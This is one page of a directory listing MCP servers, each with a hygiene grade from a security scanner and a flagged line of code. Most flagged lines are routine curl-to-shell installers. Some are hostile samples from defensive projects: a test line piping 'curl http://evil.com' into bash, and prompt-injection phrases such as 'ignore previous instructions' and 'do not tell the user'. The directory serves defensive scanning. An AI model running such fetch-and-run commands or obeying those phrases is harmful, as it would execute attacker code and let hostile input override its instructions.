Directory
Skills and plugins
Search the directory and filter by grade or ecosystem. Live entries are A, B, C and D. No F grades are published yet. 15739 entries are listed. Only entries the scanner has graded are listed.
Grades are a hygiene check, not a security guarantee.
This grade is a hygiene screen, not proof of safety.
Showing 4901 to 4950 of 8,653 MCP entries. Page 99 of 174.
Listed A to Z by name.
No entries match that filter.
Grade C, One medium finding, Hexagon
NETWORK_HOST_FROM_INPUT
macaroonnetwork_mcp/client.py:149 resp = requests.get(f"{self.registry_url}/.well-known/agent-capabilities", tLive UK Company Search (MCP server)
Compatibility: Not stated.
<!-- mcp-name: com.macaroonnetwork/mcp-server -->
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
AI-PROVIDERS.md:489 curl -fsSL https://ollama.com/install.sh | shlsbot (MCP server)
Compatibility: Not stated.
Lean & Secure Bot
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
dockerfile:34 RUN curl -LsSf https://astral.sh/uv/install.sh | shmagg (MCP server)
Compatibility: Not stated.
Public repository sitbon/magg.
This grade is a hygiene screen, not proof of safety.
Grade C, One medium finding, Hexagon
INSTALL_REMOTE_SCRIPT
.github/workflows/release.yml:77 run: "curl --proto '=https' --tlsv1.2 -LsSf https://github.com/axodotdev/cargMail Mcp (MCP server)
Compatibility: Not stated.
<p align="center"> <h1 align="center">mail-mcp</h1> <p align="center"> <strong>Production-ready email MCP server for AI agents</strong><br> IMAP + SMTP + EWS + Microsoft Graph API , built in Rust </p> <p align="center"> <a href="https://github.com/tecnologicachile/mail-mcp/relea
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
NETWORK_HOST_FROM_INPUT
src/Markdownify.ts:90 const response = await fetch(currentUrl, { redirect: "manual" });Markdownify Mcp (MCP server)
Compatibility: Not stated.
A Model Context Protocol server for converting almost anything to Markdown
This grade is a hygiene screen, not proof of safety.
Grade C, One medium finding, Hexagon
INSTALL_REMOTE_SCRIPT
install-matlab-mcp.sh:210 curl -LsSf https://astral.sh/uv/install.sh | shMatlab Mcp Tools (MCP server)
Compatibility: Not stated.
A Model Context Protocol (MCP) server that provides tools for developing and running MATLAB files.
This grade is a hygiene screen, not proof of safety.
Grade C, One medium finding, Hexagon
INSTALL_REMOTE_SCRIPT
install.sh:167 if ! curl -Ls https://astral.sh/uv/install.sh | sh; thenMaven Decoder Mcp (MCP server)
Compatibility: Not stated.
<!-- mcp-name: io.github.salitaba/maven-decoder-mcp -->
This grade is a hygiene screen, not proof of safety.
Grade C, One medium finding, Hexagon
NETWORK_HOST_FROM_INPUT
packages/openapi-codegen/src/runtime.ts:194 get fetch() {mcp (MCP server)
Compatibility: Not stated.
Official Taskade MCP: hosted OAuth at https://www.taskade.com/mcp, or connect Taskade to Cursor.
This grade is a hygiene screen, not proof of safety.
Grade C, One medium finding, Hexagon
INSTALL_REMOTE_SCRIPT
.devcontainer/postCreateCommand.sh:4 curl -LsSf https://astral.sh/uv/install.sh | shMcp Apache Spark History Server (MCP server)
Compatibility: Not stated.
> **Connect AI agents and engineers to Apache Spark History Server for intelligent job analysis, performance monitoring, and investigation**
This grade is a hygiene screen, not proof of safety.
Grade C, One medium finding, Hexagon
AGENT_IGNORE_INSTRUCTIONS
docs/MCP-SECURITY-TESTING-STRATEGY.md:491 | Prompt injection | Inject via tool inputs | `Ignore previous instrMcp Audit (MCP server)
Compatibility: Not stated.
**See what your AI agents can access - before they go live.**
This grade is a hygiene screen, not proof of safety.
Grade C, One medium finding, Hexagon
NETWORK_HOST_FROM_INPUT
src/mcp_brasil/data/denasus/client.py:34 resp = await http.get(url)Mcp Brasil (MCP server)
Compatibility: Not stated.
MCP Server para 70 APIs públicas brasileiras
This grade is a hygiene screen, not proof of safety.
Grade C, One medium finding, Hexagon
INSTALL_REMOTE_SCRIPT
Dockerfile:8 RUN curl -fsSL https://deb.nodesource.com/setup_20.x | bash -Mcp Bridge (MCP server)
Compatibility: Not stated.
A middleware to provide an openAI compatible endpoint that can call MCP tools
This grade is a hygiene screen, not proof of safety.
Grade C, One medium finding, Hexagon
NETWORK_HOST_FROM_INPUT
src/mcp_canada/modules/bank_of_canada/client.py:54 response = await http.get(url, params=params)Mcp Canada (MCP server)
Compatibility: Not stated.
<p align="center"> <h1 align="center">🍁 mcp-canada</h1> <p align="center"> <strong>MCP server giving AI agents structured access to Canadian federal, provincial, and municipal government data</strong> </p> <p align="center"> <a href="https://pypi.org/project/mcp-canada/"><img src
This grade is a hygiene screen, not proof of safety.
Grade C, One medium finding, Hexagon
INSTALL_REMOTE_SCRIPT
.github/workflows/release.yml:29 curl -LsSf https://astral.sh/uv/install.sh | shMcp Client Cli (MCP server)
Compatibility: Not stated.
A simple CLI to run LLM prompt and implement MCP client.
This grade is a hygiene screen, not proof of safety.
Grade C, One medium finding, Hexagon
INSTALL_REMOTE_SCRIPT
.github/workflows/release.yml:67 run: "curl --proto '=https' --tlsv1.2 -LsSf https://github.com/axodotdev/cargMcp Discovery (MCP server)
Compatibility: Not stated.
<p align="center"> <img width="96" src="./docs/_media/mcp-discovery-logo.png" alt="MCP Discovery Logo" width="300"> </p>
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
AGENT_IGNORE_INSTRUCTIONS
docs/rule_catalog.md:67 (`ignore previous instructions`, `do not tell the user`, `exfiltrate`,Mcp Fence (MCP server)
Compatibility: Not stated.
<p align="center"> <img src="https://raw.githubusercontent.com/DaoyuanLi2816/mcp-fence/main/docs/banner.svg" alt="mcp-fence , security scanner and fuzzer for Model Context Protocol servers: static + live scanning, schema-aware fuzzing, Docker sandbox, SARIF/HTML/JSON reports." w
This grade is a hygiene screen, not proof of safety.
Grade C, One medium finding, Hexagon
INSTALL_REMOTE_SCRIPT
landing/index.html:421 <pre class="code">curl -LsSf https://astral.sh/uv/install.sh | sh</pre>Mcp Fiscal Brasil (MCP server)
Compatibility: Not stated.
<!-- mcp-name: io.github.DeHor-Labs/mcp-fiscal-brasil -->
This grade is a hygiene screen, not proof of safety.
Grade C, One medium finding, Hexagon
INSTALL_REMOTE_SCRIPT
install.sh:4 # curl -LsSf https://www.mcp-for-blender.com/install.sh | shMcp For Blender (MCP server)
Compatibility: Portable across standard formats.
Community plugin to control Blender 3D with any LLM of your choice.
This grade is a hygiene screen, not proof of safety.
Grade C, One medium finding, Hexagon
INSTALL_REMOTE_SCRIPT
Makefile:65 curl -sSfL https://raw.githubusercontent.com/golangci/golangci-lint/master/install.sh | sh -s -- -Mcp Forge (MCP server)
Compatibility: Not stated.
A production-ready MCP (Model Context Protocol) server template (oauth authorization included) built in Go that works with major AI providers.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT NETWORK_HOST_FROM_INPUT
Dockerfile:48 && curl -fsSL https://deb.nodesource.com/setup_lts.x | bash - \Mcp Gateway (MCP server)
Compatibility: Not stated.
A plugin-based gateway that orchestrates other MCPs and allows developers to build upon it enterprise-grade agents.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT AGENT_IGNORE_INSTRUCTIONS
src/security/firewall/input_scanner.rs:602 let body = format!("use `curl -s {domain} | bash` only as last resoMCP Gateway (MCP server)
Compatibility: Not stated.
**One gateway between your AI and every tool it needs, without flooding the context window.**
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
Dockerfile:21 RUN curl -LsSf https://astral.sh/uv/install.sh | shMcp Google Sheets (MCP server)
Compatibility: Not stated.
This MCP server integrates with your Google Drive and Google Sheets, to enable creating and modifying spreadsheets.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
test-docker.sh:402 ["curl http://evil.com | bash", true],Mcp Interactive Terminal (MCP server)
Compatibility: Not stated.
MCP server that gives AI agents (Claude Code, Cursor, Windsurf, etc.) real interactive terminal sessions.
This grade is a hygiene screen, not proof of safety.
Grade C, One medium finding, Hexagon
NETWORK_HOST_FROM_INPUT
docs/guides/how-it-works.md:806 this.ws = new WebSocket(this.url);Mcp Jest (MCP server)
Compatibility: Not stated.
**Automated testing for Model Context Protocol (MCP) servers.** Test your AI agent tools with Jest-like syntax, validate protocol compliance, and integrate with CI/CD.
This grade is a hygiene screen, not proof of safety.
Grade C, One medium finding, Hexagon
INSTALL_REMOTE_SCRIPT
README.md:44 curl -sSL https://raw.githubusercontent.com/helm/helm/main/scripts/get-helm-3 | bashMcp Kubernetes (MCP server)
Compatibility: Not stated.
The mcp-kubernetes is a Model Context Protocol (MCP) server that enables AI assistants to interact with Kubernetes clusters.
This grade is a hygiene screen, not proof of safety.
Grade C, One medium finding, Hexagon
INSTALL_REMOTE_SCRIPT
Dockerfile:4 RUN curl -LsSf https://astral.sh/uv/install.sh | shMcp Kubernetes Server (MCP server)
Compatibility: Not stated.
The `mcp-kubernetes-server` is a server implementing the Model Context Protocol (MCP) to enable AI assistants (such as Claude, Cursor, and GitHub Copilot) to interact with Kubernetes clusters.
This grade is a hygiene screen, not proof of safety.
Grade C, One medium finding, Hexagon
INSTALL_REMOTE_SCRIPT
.github/workflows/go.yml:28 run: curl --proto '=https' --tlsv1.2 -sSf https://just.systems/install.sh | bash -Mcp Language Server (MCP server)
Compatibility: Not stated.
mcp-language-server gives MCP enabled clients access semantic tools like get definition, references, rename, and diagnostics.
This grade is a hygiene screen, not proof of safety.
Grade C, One medium finding, Hexagon
AGENT_IGNORE_INSTRUCTIONS
docs/ADR.md:219 `ignore previous instructions`, `you are now`, …).MCP Light Memory (MCP server)
Compatibility: Not stated.
<p align="center"> <img src="docs/assets/bar-mcp-light-memory.png" alt="MCP Light Memory" width="640"> </p>
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
src/components/applying-instructions.tsx:73 'curl -fsSL https://fnm.vercel.app/install | bash && source ~/.zshMcp Manager (MCP server)
Compatibility: Not stated.
<h1 align="center">MCP Manager for Claude Desktop</h1>
This grade is a hygiene screen, not proof of safety.
Grade C, One medium finding, Hexagon
NETWORK_HOST_FROM_INPUT
mcp_nixos/caches.py:178 resp = requests.get(Mcp Nixos (MCP server)
Compatibility: Not stated.
MCP-NixOS - Model Context Protocol Server for NixOS resources
This grade is a hygiene screen, not proof of safety.
Grade C, One medium finding, Hexagon
NETWORK_HOST_FROM_INPUT
scripts/odoo_compose_smoke.py:144 with urllib.request.urlopen(url, timeout=5) as response:Mcp Odoo (MCP server)
Compatibility: Not stated.
Odoo MCP for AI agents , gated writes, multi-instance.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
AGENT_IGNORE_INSTRUCTIONS
MCP06:2025.md:85 Ignore previous instructions.Mcp Penetration Testing (MCP server)
Compatibility: Not stated.
<p align="center"> <img src="https://capsule-render.vercel.app/api?type=waving&color=0:0F2027,50:203A43,100:2C5364&height=200§ion=header&text=MCP%20MASTER%20CHECKLIST&fontSize=38&fontColor=FFFFFF&animation=fadeIn&fontAlignY=35&desc=OWASP%20Model%20Context%20Protocol%20Securit
This grade is a hygiene screen, not proof of safety.
Grade C, One medium finding, Hexagon
INSTALL_REMOTE_SCRIPT
install.sh:5 # Usage: curl -fsSL https://raw.githubusercontent.com/conikeec/mcp-probe/master/install.sh | bashMcp Probe (MCP server)
Compatibility: Not stated.
**MCP Probe** is a powerful Terminal User Interface (TUI) for debugging, testing, and interacting with Model Context Protocol (MCP) servers.
This grade is a hygiene screen, not proof of safety.
Grade C, One medium finding, Hexagon
NETWORK_HOST_FROM_INPUT
AGENTS.md:18 curl.js curl tokenizer/parser + curl->tool codegen (the --from-curl feature)Mcp Quickstart (MCP server)
Compatibility: Not stated.
> ⭐ **推荐：** [`npx ship-skills init`](https://github.com/G12789/ai-ship)（已登录 `gh` 会自动支持作者）
This grade is a hygiene screen, not proof of safety.
Grade C, One medium finding, Hexagon
NETWORK_HOST_FROM_INPUT
bin/setup.js:93 const response = await fetch(`${instanceUrl}/services/data/`, {Mcp Salesforce (MCP server)
Compatibility: Not stated.
A **Model Context Protocol (MCP) server** that provides seamless integration with Salesforce using OAuth authentication.
This grade is a hygiene screen, not proof of safety.
Grade C, One medium finding, Hexagon
INSTALL_REMOTE_SCRIPT
README.md:258 - Ubuntu/Debian: `sudo apt-get install -y podman` or `curl -fsSL https://get.docker.com | sh`Mcp Server Code Execution Mode (MCP server)
Compatibility: Not stated.
An MCP server that executes Python code in isolated rootless containers with optional MCP server proxying.
This grade is a hygiene screen, not proof of safety.
Grade C, One medium finding, Hexagon
INSTALL_REMOTE_SCRIPT
docs/CONTRIBUTING.md:38 curl -fsSL https://elastic.co/start-local | shMcp Server Elasticsearch (MCP server)
Compatibility: Not stated.
Public repository elastic/mcp-server-elasticsearch.
This grade is a hygiene screen, not proof of safety.
Grade C, One medium finding, Hexagon
INSTALL_REMOTE_SCRIPT
docs/security/supply-chain.md:117 ta to get the exact same Node version: `curl https://get.volta.sh | bash`.Mcp Server For Iso27001 (MCP server)
Compatibility: Not stated.
**Turn Claude into an ISO 27001 compliance assistant** , controls, risk register, policies, evidence tracking, SoA generation, and full audit workflows in one local encrypted MCP server.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
artifactory/.circleci/config.yml:183 curl -s https://fluxcd.io/install.sh | bashMcp Server Gateway (MCP server)
Compatibility: Not stated.
<div align="center">
This grade is a hygiene screen, not proof of safety.
Grade C, One medium finding, Hexagon
NETWORK_HOST_FROM_INPUT
src/appportal/synology_reverse_proxy.py:232 "hsts": bool(https.get("hsts", False)),Mcp Server Synology (MCP server)
Compatibility: Not stated.
A Model Context Protocol (MCP) server for Synology NAS devices.
This grade is a hygiene screen, not proof of safety.
Grade C, One medium finding, Hexagon
OBFUSCATION_RUNS_ENCODED_PAYLOAD
packages/mcp-server/src/tools/database.ts:207 // Payload is JSON-encoded in the eval (see above) - decode it hMcp Server Zotero Dev (MCP server)
Compatibility: Not stated.
<div align="center">
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
plugin/install.ps1:43 Write-Host " curl -fsSL ${InstallUrlSh} | bash" -ForegroundColor CyanMcp Stata (MCP server)
Compatibility: Not stated.
mcp-stata - an agentic toolkit for empirical researchers.
This grade is a hygiene screen, not proof of safety.
Grade C, One medium finding, Hexagon
NETWORK_HOST_FROM_INPUT
src/app/api/llm/chat/route.ts:331 const response = await fetch('https://api.openai.com/v1/chat/completions', {Mcp Web Client (MCP server)
Compatibility: Not stated.
> A web-based client for the Model Context Protocol (MCP).
This grade is a hygiene screen, not proof of safety.
Grade C, One medium finding, Hexagon
NETWORK_HOST_FROM_INPUT
scripts/validate-server-schema.py:54 with urllib.request.urlopen(schema_url, timeout=30) as response:Mcp Windbg (MCP server)
Compatibility: Not stated.
Model Context Protocol for WinDbg.
This grade is a hygiene screen, not proof of safety.
Grade C, One medium finding, Hexagon
NETWORK_HOST_FROM_INPUT
scripts/analyze-railway-ndjson.mjs:394 const request = requests.get(requestKey) ?? {MCP x402 - Evidence-Backed Web Verification (MCP server)
Compatibility: Not stated.
<p align="center"> <img src="assets/mcp-x402-logo.png" alt="MCP x402 logo" width="160" /> </p>
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
CLAUDE.md:100 ` rule in `wrangler.jsonc`). Users run `curl -fsSL https://<worker>/install.sh | bash`; it checkMCP4Acumatica (MCP server)
Compatibility: Not stated.
> **Disclaimer:** This project is an independent, community-built integration and is **not affiliated with, endorsed by, or supported by Acumatica, Inc.** "Acumatica" is a registered trademark of Acumatica, Inc.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT NETWORK_HOST_FROM_INPUT
.agents/skills/infra-deploy/SKILL.md:138 curl -fsSL https://get.docker.com | shMCPGateway (MCP server)
Compatibility: Not stated.
> Universal MCP aggregation server that routes 300+ tools from multiple MCP servers through a single endpoint with 15 layers of token optimization (95-98% reduction).
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT NETWORK_HOST_FROM_INPUT
Dockerfile:8 && curl -fsSL https://deb.nodesource.com/setup_22.x | bash - \McpManager (MCP server)
Compatibility: Not stated.
**A self-hosted MCP proxy and aggregation platform.**
This grade is a hygiene screen, not proof of safety.
Grade C, One medium finding, Hexagon
INSTALL_REMOTE_SCRIPT
Dockerfile:13 RUN curl -fsSL https://deb.nodesource.com/setup_22.x | bash - \mcpo (MCP server)
Compatibility: Not stated.
A simple, secure MCP-to-OpenAPI proxy server
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
targets/scripts/setup-uvx-linux.sh:15 curl -LsSf https://astral.sh/uv/install.sh | sh >/dev/null 2>&1MCPower Security Proxy (MCP server)
Compatibility: Not stated.
Real-time semantic security for AI coding agents and MCP tools in VS Code, Claude Code and Cursor.
This grade is a hygiene screen, not proof of safety.
